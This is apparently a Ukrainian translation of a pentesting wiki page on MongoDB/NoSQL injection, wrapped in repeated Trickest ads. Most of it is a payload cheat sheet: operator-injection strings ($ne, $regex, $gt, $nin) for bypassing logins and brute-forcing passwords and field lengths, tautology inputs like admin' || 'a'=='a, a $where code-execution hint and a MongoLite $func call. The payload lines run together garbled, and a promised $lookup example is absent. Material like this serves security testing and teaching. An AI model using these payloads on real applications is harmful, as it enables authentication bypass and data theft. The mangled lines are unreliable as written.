Використовуйте Trickest для легкого створення та автоматизації робочих процесів, які підтримуються найсучаснішими інструментами спільноти.
Отримайте доступ сьогодні:
В PHP ви можете надіслати масив, змінивши надісланий параметр з parameter=foo на parameter[arrName]=foo.
Експлойти базуються на додаванні Оператора:
username[$ne]=1$password[$ne]=1 #<Not Equals>username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7#<Matches non of the values of the array> (not test and not admin){ $where:"this.credits == this.debits"}#<IF>,canbeusedtoexecutecode
Атакуючий може скористатися цим, вводячи рядки, такі як admin' || 'a'=='a, змушуючи запит повертати всі документи, задовольняючи умову з тавтологією ('a'=='a'). Це аналогічно атакам SQL-ін'єкцій, де використовуються введення, такі як ' or 1=1-- -, для маніпуляції SQL-запитами. У MongoDB подібні ін'єкції можна виконати, використовуючи введення, такі як ' || 1==1//, ' || 1==1%00, або admin' || 'a'=='a.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Витягти довжину інформації
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}# True if the length equals 1,3...
Використовуючи оператор $func бібліотеки MongoLite (використовується за замовчуванням), може бути можливим виконати випадкову функцію, як у цьому звіті.
"user":{"$func":"var_dump"}
Отримання інформації з різних колекцій
Можна використовувати $lookup для отримання інформації з іншої колекції. У наступному прикладі ми читаємо з іншої колекції під назвою users і отримуємо результати всіх записів з паролем, що відповідає шаблону.
NOTE:$lookup та інші функції агрегації доступні лише якщо функція aggregate() була використана для виконання пошуку замість більш поширених функцій find() або findOne().
Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, які підтримуються найсучаснішими інструментами спільноти.
Отримайте доступ сьогодні:
Використовуйте Trickest для легкого створення та автоматизації робочих процесів, підтримуваних найсучаснішими інструментами спільноти.
Отримайте доступ сьогодні: